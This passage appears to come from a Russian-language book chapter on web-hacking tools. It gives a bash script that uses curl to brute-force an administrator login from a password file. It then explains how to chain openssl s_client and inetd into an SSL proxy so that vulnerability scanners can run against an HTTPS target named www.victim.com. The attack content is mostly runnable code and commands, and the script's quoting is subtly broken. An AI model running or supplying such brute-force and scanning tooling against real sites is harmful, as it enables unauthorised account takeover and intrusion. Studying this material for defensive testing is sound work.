Средства взлома Web-приложений Hacking Tools

#!/bin/sh
# brute_script.sh
# Use curl and a password file to guess passwords in form-based
# authentication. 2002 M. Shema
if [ -z $1 ]; then
        echo -e "\n\tUsage: $0 password file"
        exit 1;
fi
PASSLIST='/bin/cat $1'
USERNAME=administrator
# change the COOKIE as necessary
COOKIE="MC1=V=3&LV=20013&HASH=17C9&GUID=4A4FC917B47F4D6996A7357D96;"
CMD="/usr/bin/curl \
    -b $COOKIE \
    -d user=$USERNAME \
    -c cookies.txt \
    --url http://localhost/admin/login.php"
for PASS in $PASSLIST; do
    # specify Headers on this line to work around inclusion of spaces
    '$CMD \
        -H 'User-Agent: Mozilla/4.0' \
        -H 'Host: localhost' \
        -d passwd=$PASS'
    # upon a successful login, the site changes the user's cookie value,
    # but we don't know what the new value is
    RES='grep -v $COOKIE cookies.txt'
    if [ -n '$RES' ]; then
        echo -e "found $RES with $USER : $PASS\n";
        exit 0;
    fi
done

OpenSSL

Любая Web-атака, которая осуществляется поверх 80 порта, может также быть произведена поверх порта 443, используемого по умолчанию протоколом SSL. Большинство утилит, программ взлома и скриптов используют 80 порт, чтобы уклониться от потерь, связанных с программами шифрования и поддержки сертификатов. OpenSSL -прокси позволяет перенаправить обычный HTTP-трафик через SSL-соединение с исследуемым сервером.

Реализация

Модуль OpenSSL обладает наиболее подходящим набором функциональностей, большую часть которых мы не будем использовать. Если вы наберете в командной строке openssl без параметров, вы сможете попасть в псевдоинтерпретатор OpenSSL.

$ openssl
OpenSSL

Очевидно, что OpenSSL имеет больше функций, чем нам необходимо для настройки прокси. Нас интересует SSL/TLS-клиент и параметр s_client. Вы не сможете получить дополнительную информацию, набрав s_client -h, но ее можно почерпнуть из страниц описания ( man pages ). Теперь мы можем соединиться напрямую с SSL-сервером при помощи команды s_client. Параметр -quiet уменьшит объем информации об ошибках.

$ openssl s_client -quiet -connect www.victim.com:443
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
verify error:num=18:self-signed certificate
verify return:1
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
verify error:num=18:self-signed certificate
verify return:1
HEAD / HTTP/1.0
Date: Tue, 26 Feb 2002 05:44:54 GMT
Server: Apache/1.3.19 (Unix)
Content-Length: 2187
Connection: close
Content-Type: text/html

Когда мы вводим строку HEAD/HTTP/1.0, сервер возвращает информацию из заголовка. Это означает, что SSL-соединение установлено успешно. Строки, предшествующие команде HEAD показывают сертификационную информацию и статус. Она включает в себя характерное имя (DN для энтузиастов LDP-протокола) и адрес электронной почты персоны, создавшей сертификат. OpenSSL также показывает, что сертификат является самоподписанным - т.е. он не подтверждается и не генерируется третьей стороной, уполномоченной поддерживать службу сертификации. В большинстве случаев мы игнорируем эти ошибки, поскольку можем установить SSL-соединение.

Теперь мы можем сохранять ввод, перенаправив запрос HEAD на вход команде s_client.

$ echo -e "HEAD / HTTP/1.0\n\n" | \
> openssl s_client -quiet -connect www.victim.com:443

Теперь мы находимся в шаге от того, чтобы сделать запрос к HTTPS-серверу, но это не решает проблемы использования утилиты вроде arirang для сканирования SSL-сервера. Чтобы сделать это, необходимо запустить команду s_client с прокси. В предыдущем примере s_client соединялся с SSL-сервером, посылал HTTP-запрос, принимал HTTP-ответ и затем соединение закрывалось. Arirang или Stealth могут осуществлять более 6000 запросов. Очевидно, что нам требуется несколько более существенная автоматизация.

Программа inetd для Unix (и Cygwin ) решает эту проблему. Демон inetd выполняется в системе и прослушивает заданные TCP- и UDP-порты. Как только другой хост посылает запрос на соединение на один из прослушиваемых портов, inetd выполняет быструю проверку и затем пересылает правильный запрос на соединение другому демону. Например, большинство FTP-серверов для Unix работает с использованием демона inetd. Файл /etc/inetd.conf содержит строки, определяющие для inetd, как обрабатывать FTP-запрос.

# /etc/inetd.conf example content
ftp stream   tcp nowait   root   /usr/libexec/ftpd   ftp -US

Первая колонка, в данном случае ftp, представляет номер порта, который прослушивает служба. Значение ftp можно заменить на 21 - порт FTP по умолчанию, и все останется по-прежнему. Как это может помочь нам настроить SSL-прокси? Мы всего лишь создадим новый сервис, который будет прослушивать TCP-порт по нашему выбору. Затем, вместо вызова FTP-демона, мы вызовем команду s_client.

# /etc/inetd.conf SSL proxy example content
80  stream      tcp nowait      root    /home/istari/ssl_proxy.sh

Файл /home/istari/ssl_proxy.sh содержит две строки.

#!/bin/sh
openssl s_client -quiet -connect www.victim.com:443 2 /dev/null

После установки соединения с локальным хостом (localhost) по 80 порту, соединение перенаправляется поверх SSL на адрес www.victim.com по порту 443. Любое соединение, которое вы установите с выбранным сервером, будет осуществляться с локальным хостом (или IP-адресом прокси-сервера). Таким образом, выполняются все правила сканирования arirang для хоста https://www.victim.com.

$ arirang -G -h localhost -p80 -r unix.uxe

Принципиальное ограничение этого приема состоит в том, что сканирование всегда осуществляется для одного хоста. SSL-прокси - не настоящий прокси, в том смысле, что он осуществляет трансляцию протокола от произвольного хоста к произвольному хосту (конфигурация "многие ко многим"). Вместо этого он передает запрос от любого хоста к заданному хосту (конфигурация "многие к одному"). Следовательно, вы не можете сканировать интервал IP-адресов через SSL-прокси, но, по крайней мере, вы можете тестировать сервер, у которого запущена только HTTP-служба. Конечно, если вы используете whisker, то можно не беспокоиться.